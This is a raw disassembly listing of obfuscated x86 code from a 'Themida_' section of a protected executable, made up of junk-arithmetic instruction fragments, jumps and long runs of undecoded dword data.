loc_55D432:				; CODE XREF: Themida_:005656DDj
		mov	[esp], ebx
		jmp	loc_55BA25
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 4DE95800h
		db 72h,	2 dup(0FFh)
off_55D447	dd offset loc_41E267+1	; DATA XREF: Themida_:00552B14o
		align 4
		dd offset dword_457444+3BFA5h
		dd 3B436800h, 81592544h, 6C137BE9h, 6853555Ch, 151B14C3h
		dd 81D3F75Bh, 0DF73FACBh, 4E3C14Ah, 4C3AEB81h, 0DD896107h
		dd 5DE9015Bh, 51F18141h, 0E97267DEh, 0FFFF9285h, 405h
		dd 24048700h, 8F24248Bh, 248B2404h, 2424D224h, 0C30CE99Ch
		dd 0C381FFFFh, 4, 8702EB83h, 9CE9241Ch,	57000079h, 604B40BFh
		dd 0E9FB0121h, 0A284h, 24048B59h, 4C481h, 805A0000h, 0B5E901EBh
		dd 89FFFFCAh, 0B850240Ch, 4A7D1385h, 0A5032A2Dh, 6DCC2D5Ah
		dd 0E0C17A77h, 0B2B95104h, 816DE234h, 0E81C5EF1h, 0F262D3Bh
		dd 0C829677Ah, 7A0F2605h, 0C1895967h, 30EA8158h, 0E9002272h
		dd 0FFFFE116h, 7CE940h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D516:				; CODE XREF: Themida_:0055EBB8j
		mov	[esp], esi
		mov	esi, 1B2E10C4h
		sub	[esp+8], esi
		pop	esi
		sub	dword ptr [esp+4], 7E2F00E0h
		jmp	loc_5678B2
; ---------------------------------------------------------------------------
		dd 8958C229h, 2434FFD5h, 0FF990CE9h, 54BE56FFh,	81527130h
		dd 9B4B51EEh, 3E6C152h,	25BCE9h, 0DD895800h, 52241C8Bh
		dd 0C281E289h, 4, 8704C283h, 0C15C2414h, 0F75506EDh, 565D2414h
		dd 3985BA52h, 0E28137D7h, 3F37452Bh, 45D9F281h,	1AE90B87h
		dd 89FFFFFAh, 0F589242Ch, 944AE951h, 0BA52FFFFh, 599B4D43h
		dd 975AD001h, 6531E9h, 39F20500h, 0EA0509EAh, 1DF985Bh
		dd 2434FFC7h, 8967E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D5B5:				; CODE XREF: Themida_:00566B0Ej
		add	esp, 4


loc_55D5BB:				; CODE XREF: Themida_:loc_5551E3j
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_554996
; ---------------------------------------------------------------------------
		db 81h
		dd 0D11E3AC6h, 24148B1Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		and	[edi+1Ch], esi
		mov	esi, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_56660C
; ---------------------------------------------------------------------------


loc_55D5F2:				; CODE XREF: Themida_:0055C1D3j
		pop	ebp
		jmp	loc_553A6C
; ---------------------------------------------------------------------------
		dd 6D00B5B8h, 0CD354018h, 0E9034466h, 386Bh, 0D453E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D60E:				; CODE XREF: Themida_:0055358Ej
		mov	esp, [esp]
		add	esp, 4
		or	[esp], eax
		pushf
		jmp	loc_55AC39
; ---------------------------------------------------------------------------
		db 4, 63h, 0
		dd 1965E9D8h
		db 2 dup(0)
word_55D626	dw 34FFh		; DATA XREF: Themida_:00552C5Co
		dd 2434FF24h, 7497E9h, 0C3319700h, 63BBE9h, 0F7D2F700h
		dd 0B7C281D2h, 29B812E6h, 0ECE95AD0h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D64B:				; CODE XREF: Themida_:0055CBBAj
		add	esi, 64473CA8h
		jmp	loc_55CA22
; ---------------------------------------------------------------------------


loc_55D656:				; CODE XREF: Themida_:005543BEj
		push	103778B9h
		pop	eax
		neg	eax
		sub	eax, 0EFC88743h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55AF2F
; ---------------------------------------------------------------------------
		db 1, 0F7h, 5Eh
		dd 0FFB5D2E9h, 81C601FFh, 6F649FC6h, 7CEE8115h,	8174B539h
		dd 4ECh, 1EEEE900h, 0E5C10000h,	0F9BE5606h, 0E94DD06Ch
		dd 740Eh, 33240C31h, 248B240Ch,	80BF5724h, 0E90A2123h
		dd 28D4h
dword_55D6B8	dd 240C8B66h, 81E08950h, 4ECh, 24348900h, 0FF7C97E9h, 244C29FFh
					; DATA XREF: Themida_:00552B08o
		dd 246C8104h, 555CC04h,	709DE97Bh, 0D1BFFFFFh, 31190504h
		dd 5F04247Ch, 8B2434FFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_55B16C
; ---------------------------------------------------------------------------


loc_55D702:				; CODE XREF: Themida_:0055B0D6j
		not	eax
		xor	eax, 0DDFCDD3Dh
		add	edi, eax
		pop	eax
		jmp	loc_55EC42
; ---------------------------------------------------------------------------
byte_55D711	db 0ADh, 31h, 0D8h	; DATA XREF: Themida_:00552BB0o
		dd 1F5768h, 241C8900h, 977EE9h,	4C18100h, 0E9000000h, 7FB6h
		dd 0E9505651h, 0FFFFC2FBh, 0C7665705h, 40D0F73Bh, 0E9550548h
		dd 0C631CF32h, 8324048Bh, 0C68104C4h, 5AD63EF2h, 0C0E4C681h
		dd 12E9ECD0h, 81000065h, 5902FEF2h, 0F8BE5619h,	0E9068572h
		dd 0FFFFE369h
; ---------------------------------------------------------------------------


loc_55D76C:				; CODE XREF: Themida_:00558B75j
		mov	edx, 7CF14680h
		sub	edx, 0FFFFFFFFh
		add	edx, 13433EE2h
		push	eax
		mov	eax, 4F14692Ch
		and	eax, 628F58A2h
		sub	eax, 5EC91BE4h
		dec	eax
		sub	eax, 648B4159h
		sub	eax, 5CE4E685h
		add	edx, eax
		mov	eax, [esp]
		push	3EFDh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 4C3F46C2h
		or	edx, 27D3115Bh
		sub	edx, 0E6E986FCh
		xor	ebx, edx
		pop	edx
		jmp	loc_566F83
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 49B40846h, 0F1E9CA01h, 33FFFF58h, 645C240Ch,	0E9028966h
		dd 0FFFFB61Dh, 31242C33h, 2C33242Ch, 0D92D5C24h, 50B657Ah
		dd 4A1A5155h, 0BB53D029h, 4A1A5155h, 55BD829h, 0B657AD9h
		dd 0E924148Bh, 0FFFFFB33h, 4B13EB81h, 55920EEh,	6BBB5BCDh
		dd 95B0E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D825:				; CODE XREF: Themida_:005585E1j
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_55DC16
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 43EF8100h, 177BC3Eh, 43C781F7h, 8177BC3Eh, 0F01DE9EFh
		dd 24348B59h, 37C7E9h, 81E38900h, 4C3h,	4C38300h, 5C241C87h
		dd 4631685Bh, 4890000h,	52EC8824h, 88E58851h, 0D38859EAh
		dd 0C8B585Ah, 4C48324h,	34FFD830h, 54BAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D896:				; CODE XREF: Themida_:0055C162j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		idiv	cx
		push	small 15D4h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
byte_55D8B7	db 66h			; DATA XREF: Themida_:00552BF8o
		dd 68240C8Bh, 5858h, 0E9240489h, 0FFFFBD53h
; ---------------------------------------------------------------------------


loc_55D8C8:				; CODE XREF: Themida_:005570DCj
		push	40h
		mov	[esp], edi
		mov	edi, 242B31C1h
		mov	ebx, 242B31C5h
		xor	ebx, edi
		mov	edi, [esp]
		jmp	loc_560418
; ---------------------------------------------------------------------------
		dd 815FF929h, 680AF1F1h, 53BB5377h, 0F74A7C2Ah,	0BE5652DBh
		dd 5A1F78AEh, 9978E9h, 0C4815B00h, 4, 564D68h, 24048900h
		dd 0FFBA3AE9h, 0BF575DFFh, 1F1B1062h, 5FF78147h, 0E97FE43Bh
		dd 4A97h
; ---------------------------------------------------------------------------


loc_55D928:				; CODE XREF: Themida_:00555481j
		xor	esi, 793E27DAh
		sub	edi, esi
		pop	esi
		add	edi, 678D1ED4h
		dec	edi
		xor	edi, 36AB7D79h
		sub	ebx, 795D5ABDh
		add	ebx, edi
		add	ebx, 795D5ABDh
		push	dword ptr [esp]
		pop	edi
		push	6336h
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_556A73
; ---------------------------------------------------------------------------
		dw 0C89h
aSt2		db '$И▓2',0
		align 2
		dw 4B9h
		dd 0E9000000h, 0FFFFBC11h, 53241489h, 0FF5E4DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D985:				; CODE XREF: Themida_:0055F10Bj
		or	dh, 28h
		jmp	loc_55BAC7
; ---------------------------------------------------------------------------
		db 30h,	0D3h, 5Ah
		dd 59AEE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D996:				; CODE XREF: Themida_:0056374Dj
		mov	[esp], ebx
		jmp	loc_56154F
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 32C36804h, 1C890000h, 651DE924h, 0C8BFFFFh, 4C48324h
		dd 42Dh, 24048700h, 0E924248Bh,	3F6Ah
; ---------------------------------------------------------------------------


loc_55D9C4:				; CODE XREF: Themida_:00559403j
		add	ebx, 4
		jmp	loc_55C2C9
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0E902C083h, 5ED1h, 8924248Bh, 8B542404h, 0C4812404h
		dd 4, 0D46E9h, 178B6800h, 3C8B4C74h, 4C48124h, 52000000h
		dd 0E3112CBAh, 5F55E929h, 0F7500000h, 48B241Ch,	4C48324h
		dd 5606E8C1h, 102C48BEh, 1EE835Dh, 165EC681h, 0DEF75316h
		dd 74E3C681h, 5005B026h, 0E9062754h, 0FFFF998Fh, 47B8BF57h
		dd 0E9471B1Dh, 0FFFF5F0Ch, 0E95DEB09h, 0FFFF7CD6h
; ---------------------------------------------------------------------------


loc_55DA48:				; CODE XREF: Themida_:00558CFAj
		pop	edi
		add	ecx, edi
		jmp	loc_55EC33
; ---------------------------------------------------------------------------


loc_55DA50:				; CODE XREF: Themida_:00557B8Aj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, ebp
		pop	ebp
		jmp	loc_563E22
; ---------------------------------------------------------------------------


loc_55DA5F:				; CODE XREF: Themida_:0055CE3Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_56750D
; ---------------------------------------------------------------------------
		dd 0DC3AF1BDh, 89E9537Eh, 2100005Ch, 0D0F75EF0h, 0FF6F98E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DA81:				; CODE XREF: Themida_:0055752Fj
		xor	[esp+4], ebx
		mov	ebx, [esp]
		jmp	loc_554CFE
; ---------------------------------------------------------------------------


loc_55DA8D:				; CODE XREF: Themida_:0055BDF6j
		pop	esp
		dec	edx
		jmp	loc_55C188
; ---------------------------------------------------------------------------
		dd 0E9240C33h, 2346h, 33241C31h, 248B241Ch, 0C8AF0F24h
		dd 14E99C51h
		db 52h,	2 dup(0FFh)
byte_55DAAF	db 66h			; DATA XREF: Themida_:00552AD8o
		dd 0E9240C8Bh, 0FFFF558Ah, 41B8C981h, 0D9F755CBh, 47DDE981h
		dd 0F1814DFBh, 43A2EF3h, 13DEE981h, 0CA292D11h,	0FF525959h
		dd 0E9042474h, 6402h, 0B9240C89h, 0ACC5C4A4h, 0E4C781h
		dd 0AE9174Bh
		db 80h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DAF3:				; CODE XREF: Themida_:0055733Fj
		sub	edx, 5FF90960h
		dec	edx
		sub	edx, 1B74E173h
		jmp	loc_556009
; ---------------------------------------------------------------------------
byte_55DB05	db 53h,	83h, 0ECh	; DATA XREF: Themida_:00552C74o
		dd 24348904h, 2C368h, 242C8900h, 0EF101A68h, 242C8B65h
		dd 4C481h, 9FE90000h, 2900006Bh, 5F9F2DD8h, 2D5B1DF6h
		dd 584E365Dh, 0FFCF3AE9h, 0E95A54FFh, 2113h
; ---------------------------------------------------------------------------


loc_55DB40:				; CODE XREF: Themida_:0055CECFj
		push	ecx
		push	595B1552h
		pop	ecx
		add	ecx, 0C681667Eh
		mov	edx, ecx
		pop	ecx
		push	0
		sub	[esp], edx
		pop	edx
		jmp	loc_564C7A
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 20264B1Bh, 0C2BB5340h, 0F704C86Fh, 5AC381DBh, 31143FE9h
		dd 0BE565BD8h, 191E2133h, 598CCE81h, 40E92CD0h,	81FFFF70h
		dd 9606D7C3h, 7D39E901h, 15B0000h, 242C8BE8h, 3104C483h
		dd 0C22D58C3h, 15AC63Bh, 3BC205D8h, 55B5AC6h, 2, 0FFD554E9h
		dd 242C8BFFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 6FE9243Ch
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DBCF:				; CODE XREF: Themida_:0055C310j
		shl	edi, 3
		and	edi, 4E533F59h
		xor	edi, 28ED22F1h
		sub	edi, 2EFD35B5h
		add	edx, edi
		jmp	loc_55C60C
; ---------------------------------------------------------------------------


loc_55DBEB:				; CODE XREF: Themida_:0055A73Dj
		mov	edx, esp
		push	ecx
		mov	ecx, 3D07105Fh
		sub	ecx, 3D07105Bh
		add	edx, ecx
		pop	ecx
		jmp	loc_5573F9
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 0E9h
		dd 4132h, 0CBEA815Fh, 142524Eh,	95FBE9CAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DC16:				; CODE XREF: Themida_:0055D83Aj
		add	ebx, 4
		jmp	loc_55C1E9
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0E84D7A68h, 24048B72h, 4C481h, 0BD550000h, 7B76E77h
		dd 7E76F581h, 0E5C17323h, 33ED8107h, 816A7724h,	131975F5h
		dd 43ED8172h, 0E93F42B4h, 0FFFFAE65h, 4C481h, 0D1F60000h
		dd 96E9C1FEh, 89FFFF89h, 6CE92404h, 8300006Ch, 0C30002C4h
		dd 711EE9h, 0F3005900h,	24148B66h, 2C481h, 0D8300000h
		dd 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 0AB1240Ch, 0C004E1C0h
		dd 0C18005E9h, 1D076856h, 1C890000h, 0ACC6824h,	4890000h
		dd 663BB424h, 0E2885253h, 0AEE9D388h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DCC3:				; CODE XREF: Themida_:00560C73j
		xor	ebx, 6A8552AEh
		jmp	loc_56613F
; ---------------------------------------------------------------------------
		dw 0C301h
aXhu		db 'Xh·|',0
		align 2
		dw 18E9h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55DCDB:				; CODE XREF: Themida_:0055EA43j
		mov	[esp], esi
		jmp	loc_556C21
; ---------------------------------------------------------------------------
		db 52h
		dd 42474FFh, 24048F5Ah,	0E924248Bh, 0FFFFEC77h,	81E68956h
		dd 4C6h, 4EE8300h, 0E9243487h, 0FFFF61DCh, 0E9241489h
		dd 0FFFF4FB3h
; ---------------------------------------------------------------------------


loc_55DD10:				; CODE XREF: Themida_:0055DFF5j
		add	ebx, 5A7C4340h
		sub	ebx, 15A4E886h
		add	eax, ebx
		jmp	loc_55D3C0
; ---------------------------------------------------------------------------
		db 66h
		dd 8B66DD01h, 0C483241Ch, 0EA316602h, 0E9242C8Bh, 0FFFFCF28h
		dd 9F05D029h, 5A53421Dh, 6FBE5651h, 5771F379h, 5A111FBFh
		dd 0E977B921h, 0F931EF94h, 0E9F1295Fh, 0FFFF653Ah
; ---------------------------------------------------------------------------


loc_55DD5C:				; CODE XREF: Themida_:00562756j
		sub	ecx, 2DAE1B8Dh
		add	ecx, 4B3A7CC9h
		add	ecx, eax
		sub	ecx, 4B3A7CC9h
		add	ecx, 2DAE1B8Dh
		pop	eax
		pop	esi
		jmp	loc_5590D6
; ---------------------------------------------------------------------------


loc_55DD7D:				; CODE XREF: Themida_:0056038Fj
		push	ecx
		mov	ecx, 4
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 45B74F15h
		jmp	loc_560168
; ---------------------------------------------------------------------------
		dd 0E99C5166h, 0FFFF4F17h, 0E924248Bh, 4376h, 4C381h, 52680000h
		dd 89000011h, 4B82404h,	81000000h, 0B03535EBh, 81C30128h
		dd 0B03535C3h, 6E95828h
		db 5Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DDDB:				; CODE XREF: Themida_:0055A934j
		and	ebx, 188B0108h
		push	0
		sub	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5553DC
; ---------------------------------------------------------------------------
		dd offset dword_457444+10824h
		align 2
		dw 489h
		dd 0D7D7E924h, 8850FFFFh, 885351D0h, 5BFD88C7h,	0ADE9EB88h
		dd 81FFFFF6h, 0C0674BC7h, 0B5C78127h, 53258B10h, 0AC35F6BBh
		dd 0E8AE911h, 0E0350000h, 0F773A828h, 2DD0F7D8h, 14E80245h
		dd 0F44C932Dh, 0D8CFE910h, 0C781FFFFh, 4, 4BD55h, 0EF290000h
		dd 243C875Dh, 8EDCE9h, 0E2895200h, 4C281h, 0BB530000h
		dd 4, 875BDA01h, 0BCE92414h, 5CFFFF78h,	8904EC83h, 0B82404h
		dd 0E9000000h, 9545h, 0C781EF01h, 58BE398Dh, 0FF676CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DE91:				; CODE XREF: Themida_:005671CFj
		mov	[esp], ebp
		mov	ebp, ebx
		mov	eax, ebp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55F2D8
; ---------------------------------------------------------------------------
		dd 0C8B60F66h, 3B046866h, 240C8966h, 0FFA2B7E9h
		db 0FFh
off_55DEBD	dd offset dword_5AD068	; DATA XREF: Themida_:00552B98o
		align 2
		dd offset dword_457444+3EF24h
		dw 8900h
		dd 0E589242Ch, 4C581h, 57530000h, 0FF998BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DED9:				; CODE XREF: Themida_:0055A9D3j
		add	esp, 4
		push	7824h
		jmp	loc_561110
; ---------------------------------------------------------------------------
		dw 525Fh
		dd 4815755h, 92571224h,	0ED815D34h, 34925712h, 0E95DEA89h
		dd 6863h, 24E9E0D1h, 5000000Ah,	0FF8947E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DF0D:				; CODE XREF: Themida_:0056278Ej
		push	edi
		mov	edi, 4A385C63h
		mov	ecx, edi
		push	dword ptr [esp]
		pop	edi
		push	223Eh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5650BF
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 82h
		dd 534C5253h, 0B242C81h, 5E13B038h, 380BC681h, 815B13B0h
		dd 0F6AF4EBh, 81F30168h, 0F6AF4C3h, 0FF535E68h,	5B042474h
		dd 8A87E9h, 4D5DE900h, 8F54FFFFh, 4832404h, 68580424h
		dd 4222h, 54240489h, 0C96E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DF7E:				; CODE XREF: Themida_:00562F10j
		pop	esi
		mov	esi, edi
		pop	edi
		add	ebp, esi
		pop	esi
		push	ebp
		jmp	loc_5537BD
; ---------------------------------------------------------------------------


loc_55DF8B:				; CODE XREF: Themida_:00561888j
		push	eax
		mov	eax, 34F7D91h
		push	esi
		mov	esi, eax
		mov	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		add	ecx, 671A1155h
		jmp	loc_566E59
; ---------------------------------------------------------------------------


loc_55DFA8:				; CODE XREF: Themida_:0056271Bj
		pop	esi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_559400
; ---------------------------------------------------------------------------
		dd 0F704C483h, 0BFC781D7h, 0E979CB28h, 0FFFF73DAh, 0C9E9DBF7h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DFCB:				; CODE XREF: Themida_:005646DCj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_553921
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0E904C683h, 68E1h
; ---------------------------------------------------------------------------


loc_55DFEC:				; CODE XREF: Themida_:0055FA82j
		xor	edi, 5E6042F4h
		xor	ebx, edi
		pop	edi
		jmp	loc_55DD10
; ---------------------------------------------------------------------------
		dw 8468h
		dd 89000009h, 0D4E92434h, 0C1FFFF4Eh, 84E908E0h, 5EFFFFA0h
		dd 4E52E9h
		db 0
byte_55E015	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00552B3Co
		dd 6658669Dh, 9C240411h, 0FF4C9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E025:				; CODE XREF: Themida_:005663A6j
		add	ebx, esi
		jmp	loc_557EAB
; ---------------------------------------------------------------------------
aZs2z		db 'ZИ2z',0
		align 2


loc_55E032:				; CODE XREF: Themida_:0055ED54j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	227Ah
		mov	[esp], ebx
		jmp	loc_556FEF
; ---------------------------------------------------------------------------
		db 81h
		dd 3403D6EAh, 0EC08E943h, 0C281FFFFh, 6A29243Bh, 4AFFEA83h
		dd 3ABA5253h, 89A66AD2h, 0DA015AD3h, 4D6EE95Bh,	895EFFFFh
		dd 0EA815DEAh, 6B953871h, 0C281EA01h, 6B953871h, 4868565Dh
		dd 5E6E9379h, 7D13E9h, 0B6CB8100h, 0F7721528h, 0F5C381DBh
		dd 0E9330524h, 0FFFFDB2Fh, 4C4835Eh, 51233405h,	4EC837Ah
		dd 0BA241489h, 2DE85AC6h, 9D2F282Dh, 3A792D23h,	0A0E92A35h
		dd 80FFFF9Ch, 0E3C0FFEBh, 53C38003h, 66A368h, 24048900h
		dd 4AA96852h, 4890000h,	88DC8824h, 0F48858E6h, 0F7E9535Ah
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E0F7:				; CODE XREF: Themida_:00566547j
		pop	ebp
		push	eax
		jmp	loc_55B6F0
; ---------------------------------------------------------------------------


loc_55E0FE:				; CODE XREF: Themida_:0055EEC5j
		pop	esi
		add	eax, ecx
		sub	eax, 36E845DAh
		add	eax, 55EA3CABh
		mov	ecx, [esp]
		push	5A09h
		mov	[esp], edi
		push	esp
		jmp	loc_55359A
; ---------------------------------------------------------------------------
		dd 0FF4BA2E9h, 0BF5751FFh, 0EE741C2h, 8AE9h, 8BCE0100h
		dd 0C481240Ch, 4, 8704EE83h, 0A2E92434h, 1FFFFE9h, 91BA52D0h
		dd 4A1FE529h, 0FF7335E9h, 0BAC381FFh, 0E9E9CBFEh, 0FFFF5989h
		dd 1E2751B9h, 3988E961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E166:				; CODE XREF: Themida_:005624B0j
		sub	ch, 0DBh
		mov	bh, ch
		pop	ecx
		add	bh, 23h
		xor	bh, 0ACh
		sub	al, bh
		jmp	loc_55E825
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0E930FF66h, 0FFFF4B3Fh, 15FF889h, 0E86858C7h, 0E900005Ah
		dd 715Ch
dword_55E194	dd 0FF3C77FFh, 34FF2434h ; DATA	XREF: Themida_:00552AD4o
		db 24h,	58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_560FD9
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 6AB5E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E1AE:				; CODE XREF: Themida_:00559616j
		pop	ebx
		shl	ebx, 2
		jmp	loc_55563A
; ---------------------------------------------------------------------------
		db 81h
		dd 0F0F983C7h, 5FF98963h, 59E9CA31h, 8B00006Fh,	8956240Ch
		dd 4C681E6h, 68000000h,	665Ch, 57240C89h, 8278E9h, 242C8B00h
		dd 4C481h, 0EE010000h, 5E63E95Dh, 0BB53FFFFh, 7A512334h
		dd 0FFE454E9h, 242489FFh, 4240481h, 5F000000h, 69CE68h
		dd 0C208E900h, 0E953FFFFh, 0FFFF8827h, 0D587D2F7h, 0FFD84AE9h
		dd 241C8BFFh, 5704C483h, 98E9E789h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E22F:				; CODE XREF: Themida_:0055502Dj
		neg	edi
		and	edi, 2A9A7625h
		jmp	loc_565CD6
; ---------------------------------------------------------------------------


loc_55E23C:				; CODE XREF: Themida_:00562B50j
		mov	esp, [esp]
		mov	[esp], eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_552CC3
; ---------------------------------------------------------------------------


loc_55E251:				; CODE XREF: Themida_:00566B14j
		xchg	ecx, esi
		xchg	ebp, ecx
		not	ebp
		push	ecx
		push	881h
		jmp	loc_56753D
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 0D0015E59h, 3225E957h, 0E9800000h, 85F180FEh, 0E95CE180h
		dd 944Dh, 4BFh,	5EC58100h, 29343359h, 5EED81FDh, 0E9343359h
		dd 0FFFF6FB6h, 9C243CD2h, 0FF4A26E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E29D:				; CODE XREF: Themida_:0055CEB6j
		add	ecx, edi
		add	ecx, 4E212381h
		push	7108h
		mov	[esp], eax
		jmp	loc_555460
; ---------------------------------------------------------------------------
		dw 0F131h
		dd 0FFCB015Eh, 8FE92434h, 89FFFF80h, 0E2C159CAh, 8312E902h
		dd 0F4E90000h, 45FFFF49h, 4644B951h, 0CD096640h, 455BE959h
		dd 0D7F70000h, 0FFF34CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E2E5:				; CODE XREF: Themida_:0055346Ej
		sub	eax, 1E346BE9h
		add	eax, edi
		add	eax, 1E346BE9h
		push	ebx
		mov	ebx, 4D06791Dh
		add	eax, ebx
		pop	ebx
		pop	edi
		and	ecx, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55BC6C
; ---------------------------------------------------------------------------


loc_55E306:				; CODE XREF: Themida_:0056135Cj
		mov	edi, 168AD69Ah
		sub	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		sub	ecx, 64AA44E4h
		add	ecx, edi
		jmp	loc_556CE1
; ---------------------------------------------------------------------------
		dw 0C8Bh
aSv		db '$И╒[',0
		align 2
		dw 3433h
		dd 24343124h, 8B2434FFh, 0B0E92434h, 83000050h,	2C8904ECh
		dd 2853BD24h, 0C5816543h, 1D404F9Bh, 0EDC1D5F7h, 0E9D5F702h
		dd 0FFFF5865h, 33241C31h, 248B241Ch, 24148924h,	1F0368h
		dd 48F5400h, 24048324h,	2434FF04h, 8124148Bh, 4C4h, 0E1895100h
		dd 4C181h, 0C1830000h, 240C8704h, 0FF6A2FE9h, 243489FFh
		dd 4BEh, 24448100h, 800E604h, 24740110h, 246C8104h, 800E604h
		dd 24348B10h, 9530E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E3B1:				; CODE XREF: Themida_:00565F6Dj
		not	al
		jmp	loc_555105
; ---------------------------------------------------------------------------
		dd 1D9C381h, 0FB014F19h, 1D9BD55h, 0EB294F19h, 0C3815F5Dh
		dd 1, 0F703EBC1h, 7EEB81D3h, 53E84329h,	53240C8Bh, 0C381E389h
		dd 4, 4C381h, 1C870000h, 5DE2E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E3F6:				; CODE XREF: Themida_:00557ABAj
		push	esp
		pop	ebp
		add	ebp, 4
		push	eax
		push	esi
		jmp	loc_563479
; ---------------------------------------------------------------------------


loc_55E405:				; CODE XREF: Themida_:00563756j
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 527C29C8h
		push	eax
		mov	eax, 0B386C96Fh
		add	ecx, 4A10557Ah
		add	ecx, 0A3657C9h
		sub	ecx, eax
		jmp	loc_565195
; ---------------------------------------------------------------------------
		db 2 dup(47h), 81h
		dd 4BF836F7h, 8BFE3161h, 7E9243Ch
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E43B:				; CODE XREF: Themida_:00562E09j
		mov	edx, 4
		add	ebp, edx
		jmp	loc_557A41
; ---------------------------------------------------------------------------
		db 1
		dd 0FB0159CBh, 6220E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E451:				; CODE XREF: Themida_:00566142j
		xor	ebx, 8FF58610h
		push	edx
		mov	edx, 36F958DFh
		add	ebx, edx
		pop	edx
		add	ebx, edi
		jmp	loc_557260
; ---------------------------------------------------------------------------
		db 89h
		dd 0E5815EF5h, 6E2B5108h, 95D0F795h, 0AFFDED81h, 0E901F1FEh
		dd 74FF515Dh, 8F590424h, 0E95C2404h, 0ADCh, 0D93BE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E492:				; CODE XREF: Themida_:0056671Cj
		pop	ecx
		jmp	loc_55A729
; ---------------------------------------------------------------------------
aJsS		db 'JИб▒',0
		align 2
